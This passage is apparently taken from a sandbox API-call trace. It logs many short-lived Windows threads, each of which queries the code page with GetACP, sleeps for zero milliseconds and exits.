GetACP () returned 0x4e4 [0114.178] GetACP () returned 0x4e4 [0114.178] Sleep (dwMilliseconds=0x0) [0114.234] RtlExitUserThread (Status=0x0) Thread: id = 134 os_tid = 0x108c [0114.178] GetACP () returned 0x4e4 [0114.178] GetACP () returned 0x4e4 [0114.178] Sleep (dwMilliseconds=0x0) [0114.234] RtlExitUserThread (Status=0x0) Thread: id = 135 os_tid = 0x1090 [0114.179] GetACP () returned 0x4e4 [0114.179] GetACP () returned 0x4e4 [0114.179] Sleep (dwMilliseconds=0x0) [0114.235] RtlExitUserThread (Status=0x0) Thread: id = 136 os_tid = 0x1094 [0114.179] GetACP () returned 0x4e4 [0114.179] GetACP () returned 0x4e4 [0114.179] Sleep (dwMilliseconds=0x0) [0114.236] RtlExitUserThread (Status=0x0) Thread: id = 137 os_tid = 0x1098 [0114.180] GetACP () returned 0x4e4 [0114.180] GetACP () returned 0x4e4 [0114.180] Sleep (dwMilliseconds=0x0) [0114.236] RtlExitUserThread (Status=0x0) Thread: id = 138 os_tid = 0x109c [0114.180] GetACP () returned 0x4e4 [0114.180] GetACP () returned 0x4e4 [0114.180] Sleep (dwMilliseconds=0x0) [0114.237] RtlExitUserThread (Status=0x0) Thread: id = 139 os_tid = 0x10a0 [0114.180] GetACP () returned 0x4e4 [0114.180] GetACP () returned 0x4e4 [0114.180] Sleep (dwMilliseconds=0x0) [0114.238] RtlExitUserThread (Status=0x0) Thread: id = 140 os_tid = 0x10a4 [0114.181] GetACP () returned 0x4e4 [0114.181] GetACP () returned 0x4e4 [0114.181] Sleep (dwMilliseconds=0x0) [0114.239] RtlExitUserThread (Status=0x0) Thread: id = 141 os_tid = 0x10a8 [0114.181] GetACP () returned 0x4e4 [0114.181] GetACP () returned 0x4e4 [0114.181] Sleep (dwMilliseconds=0x0) [0114.239] RtlExitUserThread (Status=0x0) Thread: id = 142 os_tid = 0x10ac [0114.182] GetACP () returned 0x4e4 [0114.182] GetACP () returned 0x4e4 [0114.182] Sleep (dwMilliseconds=0x0) [0114.240] RtlExitUserThread (Status=0x0) Thread: id = 143 os_tid = 0x10b0 [0114.242] GetACP () returned 0x4e4 [0114.242] GetACP () returned 0x4e4 [0114.242] Sleep (dwMilliseconds=0x0) [0114.290] RtlExitUserThread (Status=0x0) Thread: id = 144 os_tid = 0x10b4 [0114.242] GetACP () returned 0x4e4 [0114.242] GetACP () returned 0x4e4 [0114.242] Sleep (dwMilliseconds=0x0) [0114.291] RtlExitUserThread (Status=0x0) Thread: id = 145 os_tid = 0x10b8 [0114.243] GetACP () returned 0x4e4 [0114.243] GetACP () returned 0x4e4 [0114.243] Sleep (dwMilliseconds=0x0) [0114.292] RtlExitUserThread (Status=0x0) Thread: id = 146 os_tid = 0x10bc [0114.243] GetACP () returned 0x4e4 [0114.243] GetACP () returned 0x4e4 [0114.243] Sleep (dwMilliseconds=0x0) [0114.293] RtlExitUserThread (Status=0x0) Thread: id = 147 os_tid = 0x10c0 [0114.244] GetACP () returned 0x4e4 [0114.244] GetACP () returned 0x4e4 [0114.244] Sleep (dwMilliseconds=0x0) [0114.293] RtlExitUserThread (Status=0x0) Thread: id = 148 os_tid = 0x10c4 [0114.245] GetACP () returned 0x4e4 [0114.245] GetACP () returned 0x4e4 [0114.245] Sleep (dwMilliseconds=0x0) [0114.294] RtlExitUserThread (Status=0x0) Thread: id = 149 os_tid = 0x10c8 [0114.245] GetACP () returned 0x4e4 [0114.245] GetACP () returned 0x4e4 [0114.245] Sleep (dwMilliseconds=0x0) [0114.295] RtlExitUserThread (Status=0x0) Thread: id = 150 os_tid = 0x10cc [0114.246] GetACP () returned 0x4e4 [0114.246] GetACP () returned 0x4e4 [0114.246] Sleep (dwMilliseconds=0x0) [0114.296] RtlExitUserThread (Status=0x0) Thread: id = 151 os_tid = 0x10d0 [0114.246] GetACP () returned 0x4e4 [0114.246] GetACP () returned 0x4e4 [0114.246] Sleep (dwMilliseconds=0x0) [0114.296] RtlExitUserThread (Status=0x0) Thread: id = 152 os_tid = 0x10d4 [0114.247] GetACP () returned 0x4e4 [0114.247] GetACP () returned 0x4e4 [0114.247] Sleep (dwMilliseconds=0x0) [0114.297] RtlExitUserThread (Status=0x0) Thread: id = 153 os_tid = 0x10d8 [0114.248] GetACP () returned 0x4e4 [0114.248] GetACP () returned 0x4e4 [0114.248] Sleep (dwMilliseconds=0x0) [0114.298] RtlExitUserThread (Status=0x0) Thread: id = 154 os_tid = 0x10dc [0114.248] GetACP () returned 0x4e4 [0114.248] GetACP () returned 0x4e4 [0114.248] Sleep (dwMilliseconds=0x0) [0114.298] RtlExitUserThread (Status=0x0) Thread: id = 155 os_tid = 0x10e0 [0114.249] GetACP () returned 0x4e4 [0114.249] GetACP () returned 0x4e4 [0114.249] Sleep (dwMilliseconds=0x0) [0114.299] RtlExitUserThread (Status=0x0) Thread: id = 156 os_tid = 0x10e4 [0114.250] GetACP () returned 0x4e4 [0114.250] GetACP () returned 0x4e4 [0114.250] Sleep (dwMilliseconds=0x0) [0114.300] RtlExitUserThread (Status=0x0) Thread: id = 157 os_tid = 0x10e8 [0114.250] GetACP () returned 0x4e4 [0114.250] GetACP () returned 0x4e4 [0114.250] Sleep (dwMilliseconds=0x0) [0114.300] RtlExitUserThread (Status=0x0) Thread: id = 158 os_tid = 0x10ec [0114.251] GetACP () returned 0x4e4 [0114.251] GetACP () returned 0x4e4 [0114.251] Sleep (dwMilliseconds=0x0) [0114.301] RtlExitUserThread (Status=0x0) Thread: id = 159 os_tid = 0x10f0 [0114.251] GetACP () returned 0x4e4 [0114.251] GetACP () returned 0x4e4 [0114.251] Sleep (dwMilliseconds=0x0) [0114.302] RtlExitUserThread (Status=0x0) Thread: id = 160 os_tid = 0x10f4 [0114.252] GetACP () returned 0x4e4 [0114.252] GetACP () returned 0x4e4 [0114.252] Sleep (dwMilliseconds=0x0) [0114.303] RtlExitUserThread (Status=0x0) Thread: id = 161 os_tid = 0x10f8 [0114.253] GetACP () returned 0x4e4 [0114.253] GetACP () returned 0x4e4 [0114.253] Sleep (dwMilliseconds=0x0) [0114.304] RtlExitUserThread (Status=0x0) Thread: id = 162 os_tid = 0x10fc [0114.253] GetACP () returned 0x4e4 [0114.253] GetACP () returned 0x4e4 [0114.253] Sleep (dwMilliseconds=0x0) [0114.305] RtlExitUserThread (Status=0x0) Thread: id = 163 os_tid = 0x1100 [0114.306] GetACP () returned 0x4e4 [0114.306] GetACP () returned 0x4e4 [0114.306] Sleep (dwMilliseconds=0x0) [0114.419] RtlExitUserThread (Status=0x0) Thread: id = 164 os_tid = 0x1104 [0114.307] GetACP () returned 0x4e4 [0114.307] GetACP () returned 0x4e4 [0114.307] Sleep (dwMilliseconds=0x0) [0114.420] RtlExitUserThread (Status=0x0) Thread: id = 165 os_tid = 0x1108 [0114.307] GetACP () returned 0x4e4 [0114.307] GetACP () returned 0x4e4 [0114.307] Sleep (dwMilliseconds=0x0) [0114.420] RtlExitUserThread (Status=0x0) Thread: id = 166 os_tid = 0x110c [0114.308] GetACP () returned 0x4e4 [0114.308] GetACP () returned 0x4e4 [0114.308] Sleep (dwMilliseconds=0x0) [0114.421] RtlExitUserThread (Status=0x0) Thread: id = 167 os_tid = 0x1110 [0114.309] GetACP () returned 0x4e4 [0114.309] GetACP () returned 0x4e4 [0114.309] Sleep (dwMilliseconds=0x0) [0114.422] RtlExitUserThread (Status=0x0) Thread: id = 168 os_tid = 0x1114 [0114.309] GetACP () returned 0x4e4 [0114.309] GetACP () returned 0x4e4 [0114.309] Sleep (dwMilliseconds=0x0) [0114.422] RtlExitUserThread (Status=0x0) Thread: id = 169 os_tid = 0x1118 [0114.310] GetACP () returned 0x4e4 [0114.310] GetACP () returned 0x4e4 [0114.310] Sleep (dwMilliseconds=0x0) [0114.423] RtlExitUserThread (Status=0x0) Thread: id = 170 os_tid = 0x111c [0114.310] GetACP () returned 0x4e4 [0114.310] GetACP () returned 0x4e4 [0114.310] Sleep (dwMilliseconds=0x0) [0114.424] RtlExitUserThread (Status=0x0) Thread: id = 171 os_tid = 0x1120 [0114.311] GetACP () returned 0x4e4 [0114.311] GetACP () returned 0x4e4 [0114.311] Sleep (dwMilliseconds=0x0) [0114.425] RtlExitUserThread (Status=0x0) Thread: id = 172 os_tid = 0x1124 [0114.312] GetACP () returned 0x4e4 [0114.312] GetACP () returned 0x4e4 [0114.312] Sleep (dwMilliseconds=0x0) [0114.425] RtlExitUserThread (Status=0x0) Thread: id = 173 os_tid = 0x1128 [0114.312] GetACP () returned 0x4e4 [0114.312] GetACP () returned 0x4e4 [0114.312] Sleep (dwMilliseconds=0x0) [0114.426] RtlExitUserThread (Status=0x0) Thread: id = 174 os_tid = 0x112c [0114.313] GetACP () returned 0x4e4 [0114.313] GetACP () returned 0x4e4 [0114.313] Sleep (dwMilliseconds=0x0) [0114.427] RtlExitUserThread (Status=0x0) Thread: id = 175 os_tid = 0x1130 [0114.313] GetACP () returned 0x4e4 [0114.313] GetACP () returned 0x4e4 [0114.314] Sleep (dwMilliseconds=0x0) [0114.427] RtlExitUserThread (Status=0x0) Thread: id = 176 os_tid = 0x1134 [0114.314] GetACP () returned 0x4e4 [0114.314] GetACP () returned 0x4e4 [0114.314] Sleep (dwMilliseconds=0x0) [0114.428] RtlExitUserThread (Status=0x0) Thread: id = 177 os_tid = 0x1138 [0114.315] GetACP () returned 0x4e4 [0114.315] GetACP () returned 0x4e4 [0114.315] Sleep (dwMilliseconds=0x0) [0114.429] RtlExitUserThread (Status=0x0) Thread: id = 178 os_tid = 0x113c [0114.315] GetACP () returned 0x4e4 [0114.315] GetACP () returned 0x4e4 [0114.315] Sleep (dwMilliseconds=0x0) [0114.430] RtlExitUserThread (Status=0x0) Thread: id = 179 os_tid = 0x1140 [0114.316] GetACP () returned 0x4e4 [0114.316] GetACP () returned 0x4e4 [0114.316] Sleep (dwMilliseconds=0x0) [0114.430] RtlExitUserThread (Status=0x0) Thread: id = 180 os_tid = 0x1144 [0114.317] GetACP () returned 0x4e4 [0114.317] GetACP () returned 0x4e4 [0114.317] Sleep (dwMilliseconds=0x0) [0114.431] RtlExitUserThread (Status=0x0) Thread: id = 181 os_tid = 0x1148 [0114.317] GetACP () returned 0x4e4 [0114.317] GetACP () returned 0x4e4 [0114.317] Sleep (dwMilliseconds=0x0) [0114.432] RtlExitUserThread (Status=0x0) Thread: id = 182 os_tid = 0x114c [0114.318] GetACP () returned 0x4e4 [0114.318] GetACP () returned 0x4e4 [0114.318] Sleep (dwMilliseconds=0x0) [0114.432] RtlExitUserThread (Status=0x0) Thread: id = 183 os_tid = 0x1150 [0114.434] GetACP () returned 0x4e4 [0114.434] GetACP () returned 0x4e4 [0114.434] Sleep (dwMilliseconds=0x0) [0114.493] RtlExitUserThread (Status=0x0) Thread: id = 184 os_tid = 0x1154 [0114.434] GetACP () returned 0x4e4 [0114.434] GetACP () returned 0x4e4 [0114.434] Sleep (dwMilliseconds=0x0) [0114.494] RtlExitUserThread (Status=0x0) Thread: id = 185 os_tid = 0x1158 [0114.435] GetACP () returned 0x4e4 [0114.435] GetACP () returned 0x4e4 [0114.435] Sleep (dwMilliseconds=0x0) [0114.494] RtlExitUserThread (Status=0x0) Thread: id = 186 os_tid = 0x115c [0114.436] GetACP () returned 0x4e4 [0114.436] GetACP () returned 0x4e4 [0114.436] Sleep (dwMilliseconds=0x0) [0114.495] RtlExitUserThread (Status=0x0) Thread: id = 187 os_tid = 0x1160 [0114.436] GetACP () returned 0x4e4 [0114.436] GetACP () returned 0x4e4 [0114.436] Sleep (dwMilliseconds=0x0) [0114.496] RtlExitUserThread (Status=0x0) Thread: id = 188 os_tid = 0x1164 [0114.437] GetACP () returned 0x4e4 [0114.437] GetACP () returned 0x4e4 [0114.437] Sleep (dwMilliseconds=0x0) [0114.498] RtlExitUserThread (Status=0x0) Thread: id = 189 os_tid = 0x1168 [0114.438] GetACP () returned 0x4e4 [0114.438] GetACP () returned 0x4e4 [0114.438] Sleep (dwMilliseconds=0x0) [0114.498] RtlExitUserThread (Status=0x0) Thread: id = 190 os_tid = 0x116c [0114.438] GetACP () returned 0x4e4 [0114.438] GetACP () returned 0x4e4 [0114.438] Sleep (dwMilliseconds=0x0) [0114.499] RtlExitUserThread (Status=0x0) Thread: id = 191 os_tid = 0x1170 [0114.439] GetACP () returned 0x4e4 [0114.439] GetACP () returned 0x4e4 [0114.439] Sleep (dwMilliseconds=0x0) [0114.500] RtlExitUserThread (Status=0x0) Thread: id = 192 os_tid = 0x1174 [0114.440] GetACP () returned 0x4e4 [0114.440] GetACP () returned 0x4e4 [0114.440] Sleep (dwMilliseconds=0x0) [0114.500] RtlExitUserThread (Status=0x0) Thread: id = 193 os_tid = 0x1178 [0114.440] GetACP () returned 0x4e4 [0114.440] GetACP () returned 0x4e4 [0114.440] Sleep (dwMilliseconds=0x0) [0114.501] RtlExitUserThread (Status=0x0) Thread: id = 194 os_tid = 0x117c [0114.441] GetACP () returned 0x4e4 [0114.441] GetACP () returned 0x4e4 [0114.441] Sleep (dwMilliseconds=0x0) [0114.502] RtlExitUserThread (Status=0x0) Thread: id = 195 os_tid = 0x1180 [0114.441] GetACP () returned 0x4e4 [0114.441] GetACP () returned 0x4e4 [0114.442] Sleep (dwMilliseconds=0x0) [0114.503] RtlExitUserThread (Status=0x0) Thread: id = 196 os_tid = 0x1184 [0114.442] GetACP () returned 0x4e4 [0114.442] GetACP () returned 0x4e4 [0114.442] Sleep (dwMilliseconds=0x0) [0114.503] RtlExitUserThread (Status=0x0) Thread: id = 197 os_tid = 0x1188 [0114.443] GetACP () returned 0x4e4 [0114.443] GetACP () returned 0x4e4 [0114.443] Sleep (dwMilliseconds=0x0) [0114.504] RtlExitUserThread (Status=0x0) Thread: id = 198 os_tid = 0x118c [0114.444] GetACP () returned 0x4e4 [0114.444] GetACP () returned 0x4e4 [0114.444] Sleep (dwMilliseconds=0x0) [0114.506] RtlExitUserThread (Status=0x0) Thread: id = 199 os_tid = 0x1190 [0114.444] GetACP () returned 0x4e4 [0114.444] GetACP () returned 0x4e4 [0114.444] Sleep (dwMilliseconds=0x0) [0114.507] RtlExitUserThread (Status=0x0) Thread: id = 200 os_tid = 0x1194 [0114.445] GetACP () returned 0x4e4 [0114.445] GetACP () returned 0x4e4 [0114.445] Sleep (dwMilliseconds=0x0) [0114.508] RtlExitUserThread (Status=0x0) Thread: id = 201 os_tid = 0x1198 [0114.446] GetACP () returned 0x4e4 [0114.446] GetACP () returned 0x4e4 [0114.446] Sleep (dwMilliseconds=0x0) [0114.509] RtlExitUserThread (Status=0x0) Thread: id = 202 os_tid = 0x119c [0114.446] GetACP () returned 0x4e4 [0114.446] GetACP () returned 0x4e4 [0114.446] Sleep (dwMilliseconds=0x0) [0114.509] RtlExitUserThread (Status=0x0) Thread: id = 203 os_tid = 0x11a0 [0114.511] GetACP () returned 0x4e4 [0114.511] GetACP () returned 0x4e4 [0114.511] Sleep (dwMilliseconds=0x0) [0114.578] RtlExitUserThread (Status=0x0) Thread: id = 204 os_tid = 0x11a4 [0114.512] GetACP () returned 0x4e4 [0114.512] GetACP () returned 0x4e4 [0114.512] Sleep (dwMilliseconds=0x0) [0114.579] RtlExitUserThread (Status=0x0) Thread: id = 205 os_tid = 0x11a8 [0114.512] GetACP () returned 0x4e4 [0114.512] GetACP () returned 0x4e4 [0114.512] Sleep (dwMilliseconds=0x0) [0114.580] RtlExitUserThread (Status=0x0) Thread: id = 206 os_tid = 0x11ac [0114.513] GetACP () returned 0x4e4 [0114.513] GetACP () returned 0x4e4 [0114.513] Sleep (dwMilliseconds=0x0) [0114.580] RtlExitUserThread (Status=0x0) Thread: id = 207 os_tid = 0x11b0 [0114.514] GetACP () returned 0x4e4 [0114.514] GetACP () returned 0x4e4 [0114.514] Sleep (dwMilliseconds=0x0) [0114.581] RtlExitUserThread (Status=0x0) Thread: id = 208 os_tid = 0x11b4 [0114.514] GetACP () returned 0x4e4 [0114.514] GetACP () returned 0x4e4 [0114.514] Sleep (dwMilliseconds=0x0) [0114.582] RtlExitUserThread (Status=0x0) Thread: id = 209 os_tid = 0x11b8 [0114.515] GetACP () returned 0x4e4 [0114.515] GetACP () returned 0x4e4 [0114.515] Sleep (dwMilliseconds=0x0) [0114.583] RtlExitUserThread (Status=0x0) Thread: id = 210 os_tid = 0x11bc [0114.516] GetACP () returned 0x4e4 [0114.516] GetACP () returned 0x4e4 [0114.516] Sleep (dwMilliseconds=0x0) [0114.583] RtlExitUserThread (Status=0x0) Thread: id = 211 os_tid = 0x11c0 [0114.516] GetACP () returned 0x4e4 [0114.516] GetACP () returned 0x4e4 [0114.516] Sleep (dwMilliseconds=0x0) [0114.584] RtlExitUserThread (Status=0x0) Thread: id = 212 os_tid = 0x11c4 [0114.517] GetACP () returned 0x4e4 [0114.517] GetACP () returned 0x4e4 [0114.517] Sleep (dwMilliseconds=0x0) [0114.585] RtlExitUserThread (Status=0x0) Thread: id = 213 os_tid = 0x11c8 [0114.518] GetACP () returned 0x4e4 [0114.518] GetACP () returned 0x4e4 [0114.518] Sleep (dwMilliseconds=0x0) [0114.586] RtlExitUserThread (Status=0x0) Thread: id = 214 os_tid = 0x11cc [0114.518] GetACP () returned 0x4e4 [0114.518] GetACP () returned 0x4e4 [0114.518] Sleep (dwMilliseconds=0x0) [0114.586] RtlExitUserThread (Status=0x0) Thread: id = 215 os_tid = 0x11d0 [0114.519] GetACP () returned 0x4e4 [0114.519] GetACP () returned 0x4e4 [0114.519] Sleep (dwMilliseconds=0x0) [0114.587] RtlExitUserThread (Status=0x0) Thread: id = 216 os_tid = 0x11d4 [0114.520] GetACP () returned 0x4e4 [0114.520] GetACP () returned 0x4e4 [0114.520] Sleep (dwMilliseconds=0x0) [0114.588] RtlExitUserThread (Status=0x0) Thread: id = 217 os_tid = 0x11d8 [0114.521] GetACP () returned 0x4e4 [0114.521] GetACP () returned 0x4e4 [0114.521] Sleep (dwMilliseconds=0x0) [0114.589] RtlExitUserThread (Status=0x0) Thread: id = 218 os_tid = 0x11dc [0114.521] GetACP () returned 0x4e4 [0114.521] GetACP () returned 0x4e4 [0114.521] Sleep (dwMilliseconds=0x0) [0114.591] RtlExitUserThread (Status=0x0) Thread: id = 219 os_tid = 0x11e0 [0114.522] GetACP () returned 0x4e4 [0114.522] GetACP () returned 0x4e4 [0114.522] Sleep (dwMilliseconds=0x0) [0114.592] RtlExitUserThread (Status=0x0) Thread: id = 220 os_tid = 0x11e4 [0114.523] GetACP () returned 0x4e4 [0114.523] GetACP () returned 0x4e4 [0114.523] Sleep (dwMilliseconds=0x0) [0114.593] RtlExitUserThread (Status=0x0) Thread: id = 221 os_tid = 0x11e8 [0114.524] GetACP () returned 0x4e4 [0114.524] GetACP () returned 0x4e4 [0114.524] Sleep (dwMilliseconds=0x0) [0114.594] RtlExitUserThread (Status=0x0) Thread: id = 222 os_tid = 0x11ec [0114.525] GetACP () returned 0x4e4 [0114.525] GetACP () returned 0x4e4 [0114.525] Sleep (dwMilliseconds=0x0) [0114.594] RtlExitUserThread (Status=0x0) Thread: id = 223 os_tid = 0x11f0 [0114.595] GetACP () returned 0x4e4 [0114.595] GetACP () returned 0x4e4 [0114.595] Sleep (dwMilliseconds=0x0) [0114.728] RtlExitUserThread (Status=0x0) Thread: id = 224 os_tid = 0x11f4 [0114.596] GetACP () returned 0x4e4 [0114.596] GetACP () returned 0x4e4 [0114.596] Sleep (dwMilliseconds=0x0) [0114.736] RtlExitUserThread (Status=0x0) Thread: id = 225 os_tid = 0x11f8 [0114.596] GetACP () returned 0x4e4 [0114.596] GetACP () returned 0x4e4 [0114.596] Sleep (dwMilliseconds=0x0) [0114.736] RtlExitUserThread (Status=0x0) Thread: id = 226 os_tid = 0x11fc [0114.597] GetACP () returned 0x4e4 [0114.597] GetACP () returned 0x4e4 [0114.597] Sleep (dwMilliseconds=0x0) [0114.737] RtlExitUserThread (Status=0x0) Thread: id = 227 os_tid = 0x1200 [0114.597] GetACP () returned 0x4e4 [0114.597] GetACP () returned 0x4e4 [0114.597] Sleep (dwMilliseconds=0x0) [0114.738] RtlExitUserThread (Status=0x0) Thread: id = 228 os_tid = 0x1204 [0114.598] GetACP () returned 0x4e4 [0114.598] GetACP () returned 0x4e4 [0114.598] Sleep (dwMilliseconds=0x0) [0114.738] RtlExitUserThread (Status=0x0) Thread: id = 229 os_tid = 0x1208 [0114.598] GetACP () returned 0x4e4 [0114.598] GetACP () returned 0x4e4 [0114.598] Sleep (dwMilliseconds=0x0) [0114.739] RtlExitUserThread (Status=0x0) Thread: id = 230 os_tid = 0x120c [0114.599] GetACP () returned 0x4e4 [0114.599] GetACP () returned 0x4e4 [0114.599] Sleep (dwMilliseconds=0x0) [0114.739] RtlExitUserThread (Status=0x0) Thread: id = 231 os_tid = 0x1210 [0114.599] GetACP () returned 0x4e4 [0114.599] GetACP () returned 0x4e4 [0114.599] Sleep (dwMilliseconds=0x0) [0114.740] RtlExitUserThread (Status=0x0) Thread: id = 232 os_tid = 0x1214 [0114.600] GetACP () returned 0x4e4 [0114.600] GetACP () returned 0x4e4 [0114.600] Sleep (dwMilliseconds=0x0) [0114.741] RtlExitUserThread (Status=0x0) Thread: id = 233 os_tid = 0x1218 [0114.601] GetACP () returned 0x4e4 [0114.601] GetACP () returned 0x4e4 [0114.601] Sleep (dwMilliseconds=0x0) [0114.742] RtlExitUserThread (Status=0x0) Thread: id = 234 os_tid = 0x121c [0114.601] GetACP () returned 0x4e4 [0114.601] GetACP () returned 0x4e4 [0114.601] Sleep (dwMilliseconds=0x0) [0114.742] RtlExitUserThread (Status=0x0) Thread: id = 235 os_tid = 0x1220 [0114.602] GetACP () returned 0x4e4 [0114.602] GetACP () returned 0x4e4 [0114.602] Sleep (dwMilliseconds=0x0) [0114.743] RtlExitUserThread (Status=0x0) Thread: id = 236 os_tid = 0x1224 [0114.602] GetACP () returned 0x4e4 [0114.602] GetACP () returned 0x4e4 [0114.602] Sleep (dwMilliseconds=0x0) [0114.744] RtlExitUserThread (Status=0x0) Thread: id = 237 os_tid = 0x1228 [0114.603] GetACP () returned 0x4e4 [0114.603] GetACP () returned 0x4e4 [0114.603] Sleep (dwMilliseconds=0x0) [0114.744] RtlExitUserThread (Status=0x0) Thread: id = 238 os_tid = 0x122c [0114.603] GetACP () returned 0x4e4 [0114.603] GetACP () returned 0x4e4 [0114.603] Sleep (dwMilliseconds=0x0) [0114.745] RtlExitUserThread (Status=0x0) Thread: id = 239 os_tid = 0x1230 [0114.604] GetACP () returned 0x4e4 [0114.604] GetACP () returned 0x4e4 [0114.604] Sleep (dwMilliseconds=0x0) [0114.745] RtlExitUserThread (Status=0x0) Thread: id = 240 os_tid = 0x1234 [0114.604] GetACP () returned 0x4e4 [0114.604] GetACP () returned 0x4e4 [0114.604] Sleep (dwMilliseconds=0x0) [0114.746] RtlExitUserThread (Status=0x0) Thread: id = 241 os_tid = 0x1238 [0114.605] GetACP () returned 0x4e4 [0114.605] GetACP () returned 0x4e4 [0114.605] Sleep (dwMilliseconds=0x0) [0114.747] RtlExitUserThread (Status=0x0) Thread: id = 242 os_tid = 0x123c [0114.606] GetACP () returned 0x4e4 [0114.606] GetACP () returned 0x4e4 [0114.606] Sleep (dwMilliseconds=0x0) [0114.747] RtlExitUserThread (Status=0x0) Thread: id = 243 os_tid = 0x1248 [0114.748] GetACP () returned 0x4e4 [0114.748] GetACP () returned 0x4e4 [0114.748] Sleep (dwMilliseconds=0x0) [0114.815] RtlExitUserThread (Status=0x0) Thread: id = 244 os_tid = 0x124c [0114.749] GetACP () returned 0x4e4 [0114.749] GetACP () returned 0x4e4 [0114.749] Sleep (dwMilliseconds=0x0) [0114.816] RtlExitUserThread (Status=0x0) Thread: id = 245 os_tid = 0x1250 [0114.749] GetACP () returned 0x4e4 [0114.749] GetACP () returned 0x4e4 [0114.749] Sleep (dwMilliseconds=0x0) [0114.816] RtlExitUserThread (Status=0x0) Thread: id = 246 os_tid = 0x1254 [0114.750] GetACP () returned 0x4e4 [0114.750] GetACP () returned 0x4e4 [0114.750] Sleep (dwMilliseconds=0x0) [0114.817] RtlExitUserThread (Status=0x0) Thread: id = 247 os_tid = 0x1258 [0114.750] GetACP () returned 0x4e4 [0114.751] GetACP () returned 0x4e4 [0114.751] Sleep (dwMilliseconds=0x0) [0114.817] RtlExitUserThread (Status=0x0) Thread: id = 248 os_tid = 0x125c [0114.751] GetACP () returned 0x4e4 [0114.751] GetACP () returned 0x4e4 [0114.751] Sleep (dwMilliseconds=0x0) [0114.818] RtlExitUserThread (Status=0x0) Thread: id = 249 os_tid = 0x1260 [0114.752] GetACP () returned 0x4e4 [0114.752] GetACP () returned 0x4e4 [0114.752] Sleep (dwMilliseconds=0x0) [0114.819] RtlExitUserThread (Status=0x0) Thread: id = 250 os_tid = 0x1264 [0114.752] GetACP () returned 0x4e4 [0114.752] GetACP () returned 0x4e4 [0114.752] Sleep (dwMilliseconds=0x0) [0114.820] RtlExitUserThread (Status=0x0) Thread: id = 251 os_tid = 0x1268 [0114.753] GetACP () returned 0x4e4 [0114.753] GetACP () returned 0x4e4 [0114.753] Sleep (dwMilliseconds=0x0) [0114.820] RtlExitUserThread (Status=0x0) Thread: id = 252 os_tid = 0x126c [0114.753] GetACP () returned 0x4e4 [0114.753] GetACP () returned 0x4e4 [0114.753] Sleep (dwMilliseconds=0x0) [0114.821] RtlExitUserThread (Status=0x0) Thread: id = 253 os_tid = 0x1270 [0114.753] GetACP () returned 0x4e4 [0114.753] GetACP () returned 0x4e4 [0114.754] Sleep (dwMilliseconds=0x0) [0114.822] RtlExitUserThread (Status=0x0) Thread: id = 254 os_tid = 0x1274 [0114.754] GetACP () returned 0x4e4 [0114.754] GetACP () returned 0x4e4 [0114.754] Sleep (dwMilliseconds=0x0) [0114.822] RtlExitUserThread (Status=0x0) Thread: id = 255 os_tid = 0x1278 [0114.754] GetACP () returned 0x4e4 [0114.754] GetACP () returned 0x4e4 [0114.754] Sleep (dwMilliseconds=0x0) [0114.823] RtlExitUserThread (Status=0x0) Thread: id = 256 os_tid = 0x127c [0114.755] GetACP () returned 0x4e4 [0114.755] GetACP () returned 0x4e4 [0114.755] Sleep (dwMilliseconds=0x0) [0114.823] RtlExitUserThread (Status=0x0) Thread: id = 257 os_tid = 0x1280 [0114.756] GetACP () returned 0x4e4 [0114.756] GetACP () returned 0x4e4 [0114.756] Sleep (dwMilliseconds=0x0) [0114.824] RtlExitUserThread (Status=0x0) Thread: id = 258 os_tid = 0x1284 [0114.757] GetACP () returned 0x4e4 [0114.757] GetACP () returned 0x4e4 [0114.757] Sleep (dwMilliseconds=0x0) [0114.824] RtlExitUserThread (Status=0x0) Thread: id = 259 os_tid = 0x1288 [0114.757] GetACP () returned 0x4e4 [0114.757] GetACP () returned 0x4e4 [0114.757] Sleep (dwMilliseconds=0x0) [0114.825] RtlExitUserThread (Status=0x0) Thread: id = 260 os_tid = 0x128c [0114.758] GetACP () returned 0x4e4 [0114.758] GetACP () returned 0x4e4 [0114.758] Sleep (dwMilliseconds=0x0) [0114.826] RtlExitUserThread (Status=0x0) Thread: id = 261 os_tid = 0x1290 [0114.758] GetACP () returned 0x4e4 [0114.758] GetACP () returned 0x4e4 [0114.758] Sleep (dwMilliseconds=0x0) [0114.826] RtlExitUserThread (Status=0x0) Thread: id = 262 os_tid = 0x1294 [0114.759] GetACP () returned 0x4e4 [0114.759] GetACP () returned 0x4e4 [0114.759] Sleep (dwMilliseconds=0x0) [0114.827] RtlExitUserThread (Status=0x0) Thread: id = 263 os_tid = 0x129c [0114.828] GetACP () returned 0x4e4 [0114.828] GetACP () returned 0x4e4 [0114.828] Sleep (dwMilliseconds=0x0) [0114.932] RtlExitUserThread (Status=0x0) Thread: id = 264 os_tid = 0x12a0 [0114.828] GetACP () returned 0x4e4 [0114.828] GetACP () returned 0x4e4 [0114.828] Sleep (dwMilliseconds=0x0) [0114.933] RtlExitUserThread (Status=0x0) Thread: id = 265 os_tid = 0x12a4 [0114.829] GetACP () returned 0x4e4 [0114.829] GetACP () returned 0x4e4 [0114.829] Sleep (dwMilliseconds=0x0) [0114.934] RtlExitUserThread (Status=0x0) Thread: id = 266 os_tid = 0x12a8 [0114.829] GetACP () returned 0x4e4 [0114.829] GetACP () returned 0x4e4 [0114.829] Sleep (dwMilliseconds=0x0) [0114.975] RtlExitUserThread (Status=0x0) Thread: id = 267 os_tid = 0x12ac [0114.830] GetACP () returned 0x4e4 [0114.830] GetACP () returned 0x4e4 [0114.830] Sleep (dwMilliseconds=0x0) [0114.976] RtlExitUserThread (Status=0x0) Thread: id = 268 os_tid = 0x12b0 [0114.830] GetACP () returned 0x4e4 [0114.830] GetACP () returned 0x4e4 [0114.830] Sleep (dwMilliseconds=0x0) [0114.976] RtlExitUserThread (Status=0x0) Thread: id = 269 os_tid = 0x12b4 [0114.831] GetACP () returned 0x4e4 [0114.831] GetACP () returned 0x4e4 [0114.831] Sleep (dwMilliseconds=0x0) [0114.977] RtlExitUserThread (Status=0x0) Thread: id = 270 os_tid = 0x12b8 [0114.831] GetACP () returned 0x4e4 [0114.832] GetACP () returned 0x4e4 [0114.832] Sleep (dwMilliseconds=0x0) [0114.978] RtlExitUserThread (Status=0x0) Thread: id = 271 os_tid = 0x12bc [0114.832] GetACP () returned 0x4e4 [0114.832] GetACP () returned 0x4e4 [0114.832] Sleep (dwMilliseconds=0x0) [0114.978] RtlExitUserThread (Status=0x0) Thread: id = 272 os_tid = 0x12c0 [0114.832] GetACP () returned 0x4e4 [0114.832] GetACP () returned 0x4e4 [0114.833] Sleep (dwMilliseconds=0x0) [0114.979] RtlExitUserThread (Status=0x0) Thread: id = 273 os_tid = 0x12c4 